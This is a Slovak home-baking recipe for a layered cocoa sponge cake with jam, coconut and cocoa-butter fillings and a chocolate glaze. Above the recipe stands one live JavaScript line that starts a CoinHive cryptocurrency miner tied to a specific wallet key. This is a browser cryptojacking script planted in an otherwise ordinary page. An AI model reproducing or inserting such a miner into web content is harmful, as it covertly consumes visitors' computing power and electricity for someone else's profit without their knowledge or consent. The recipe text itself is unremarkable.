var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();



Potrebujeme na cesto: 6 vajec, 2 PL kakaa, 6 PL práškového cukru, 5 PL kukuričnej polohrubej múky (alebo 3 PL mletých orechov + 2 PL kukuričnej múky), 1/2 balíčka prášku do pečiva, lekvár na potretie cesta
Potrebujeme na plnku č. 1: 2 dcl vody, 150 g kryštálového cukru, 250 g masla, 250 g strúhaného kokosu
Potrebujeme na plnku č. 2: 3 celé vajcia (keď sú menšie, dať aj 4), 3-4 PL kryštálového cukru, 2 PL kakaa, 250 g masla
Postup na cesto: 6 žĺtkov vymiešame s práškovým cukrom a kakaom. Potom pridáme múku, prášok do pečiva a sneh zo 6 bielkov. Toto cesto dáme upiecť vo vymastenom a múkou vysypanom plechu (môže byť papier na pečenie) do vyhriatej rúry na 180˚C. Po vychladnutí cesta toto potrieme lekvárom (vhodný je trochu kyslejší lekvár, napr. ríbezľový).
Postu na plnku č.1: Uvaríme vodu s cukrom do rozpustenia cukru, hneď do teplého nasypeme kokos, premiešame, zakryjeme, potom necháme vychladiť a do vychladnutého vmiešame zmäknuté maslo.
Postup na plnku č.2: V pískacom hrnci alebo nad parou uvaríme vajcia s cukrom. Potom zmes preložíme do inej nádoby a vychladíme. Pretrieme cez sitko, aby neboli hrčky, pridáme maslo a kakao. Túto plnku natrieme na kokosovú plnku. Povrch oblejeme čokoládovou polevou (100 g Cery + 100 g čokolády).